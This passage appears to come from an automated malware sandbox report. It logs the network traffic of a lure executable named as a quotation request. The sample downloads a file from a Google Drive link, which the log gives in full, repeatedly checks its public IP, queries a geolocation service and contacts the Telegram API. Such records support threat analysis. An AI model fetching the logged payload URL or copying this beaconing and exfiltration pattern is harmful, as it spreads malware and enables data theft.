Dec 9, 2024 08:33:46.171154022 CET	443	49886	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:47.534440041 CET	443	49886	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:47.588567019 CET	49886	443	192.168.2.9	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 08:32:31.700875044 CET	52856	53	192.168.2.9	1.1.1.1
Dec 9, 2024 08:32:31.840909004 CET	53	52856	1.1.1.1	192.168.2.9
Dec 9, 2024 08:32:34.496165037 CET	62598	53	192.168.2.9	1.1.1.1
Dec 9, 2024 08:32:34.635406971 CET	53	62598	1.1.1.1	192.168.2.9
Dec 9, 2024 08:32:41.275645971 CET	64978	53	192.168.2.9	1.1.1.1
Dec 9, 2024 08:32:41.413285017 CET	53	64978	1.1.1.1	192.168.2.9
Dec 9, 2024 08:32:43.540227890 CET	58498	53	192.168.2.9	1.1.1.1
Dec 9, 2024 08:32:43.678113937 CET	53	58498	1.1.1.1	192.168.2.9
Dec 9, 2024 08:32:51.096159935 CET	52886	53	192.168.2.9	1.1.1.1
Dec 9, 2024 08:32:51.233118057 CET	53	52886	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 08:32:31.700875044 CET	192.168.2.9	1.1.1.1	0xfe53	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:34.496165037 CET	192.168.2.9	1.1.1.1	0x6cdc	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:41.275645971 CET	192.168.2.9	1.1.1.1	0xbaed	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:43.540227890 CET	192.168.2.9	1.1.1.1	0x9c64	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:51.096159935 CET	192.168.2.9	1.1.1.1	0x7a4c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 08:32:31.840909004 CET	1.1.1.1	192.168.2.9	0xfe53	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:34.635406971 CET	1.1.1.1	192.168.2.9	0x6cdc	No error (0)	drive.usercontent.google.com		142.250.181.33	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:41.413285017 CET	1.1.1.1	192.168.2.9	0xbaed	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 08:32:41.413285017 CET	1.1.1.1	192.168.2.9	0xbaed	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:41.413285017 CET	1.1.1.1	192.168.2.9	0xbaed	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:41.413285017 CET	1.1.1.1	192.168.2.9	0xbaed	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:41.413285017 CET	1.1.1.1	192.168.2.9	0xbaed	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:41.413285017 CET	1.1.1.1	192.168.2.9	0xbaed	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:43.678113937 CET	1.1.1.1	192.168.2.9	0x9c64	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:43.678113937 CET	1.1.1.1	192.168.2.9	0x9c64	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 9, 2024 08:32:51.233118057 CET	1.1.1.1	192.168.2.9	0x7a4c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49714	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:32:41.539978027 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:32:42.848786116 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:32:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 536bb45a0d44d0a1154429c8691ae142 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 9, 2024 08:32:42.854034901 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 9, 2024 08:32:43.277419090 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:32:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 83ad9aa7538ce1d1793f6a0e8835be84 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 9, 2024 08:32:50.665574074 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 9, 2024 08:32:51.090795040 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:32:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cd424cd25fcce15451c03d8d5c6a5c2d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49737	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:32:53.570131063 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 9, 2024 08:32:54.890522003 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:32:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8f0c9213ab02ffbaa8e0c3a9b7e6f1f5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49744	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:32:57.008755922 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:32:58.349574089 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:32:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b6db8f8f04a0af592d0297a4297f266b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49756	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:00.646945953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:01.955497980 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2f873c9716efbf31da1a95c08b83b9d5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49764	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:04.223192930 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:05.541635990 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 107941b1b0ee068cddcf78b335ed1811 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49775	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:07.778630018 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:09.081372976 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 631684a5e53e6033c5edd099fc335d37 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49787	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:11.395179033 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:12.699516058 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ea2db69dd64190044963be3023c6a6f0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49795	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:14.960570097 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:16.268881083 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7b2a6fc2e22d3615f41a488b00fa2c48 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49806	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:18.398494005 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:19.703084946 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 125517fe7d4c289fb1744b2a8971491f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49816	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:21.853198051 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:23.155771971 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5fbb15c76dd702cb3bc2f0e31049d0b7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49826	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:25.270713091 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:26.574084997 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e9114c89a0f52a3037b1d5e7f3bb90cf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49835	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:28.702703953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:30.008955002 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 639f75a1f549d74079582b7dec603a4d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49846	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:32.136446953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:33.440058947 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:33 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a816150af3b746bbd590997fb498c0ae Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49856	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:35.610646009 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:36.913548946 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f39f9e500c53143f116f59e50c753023 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49866	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:39.046822071 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:40.351454973 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 416c5120c28888ca76e92f48b15e494e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49876	132.226.247.73	80	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 08:33:42.558346987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 9, 2024 08:33:43.866245031 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 07:33:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 57287de7643538b5334f2aebf0afc639 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49711	172.217.19.174	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:32:33 UTC	216	OUT	GET /uc?export=download&id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-09 07:32:34 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 09 Dec 2024 07:32:34 GMT Location: https://drive.usercontent.google.com/download?id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-5Lh2duJLIuMiN_iWXo44LQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, 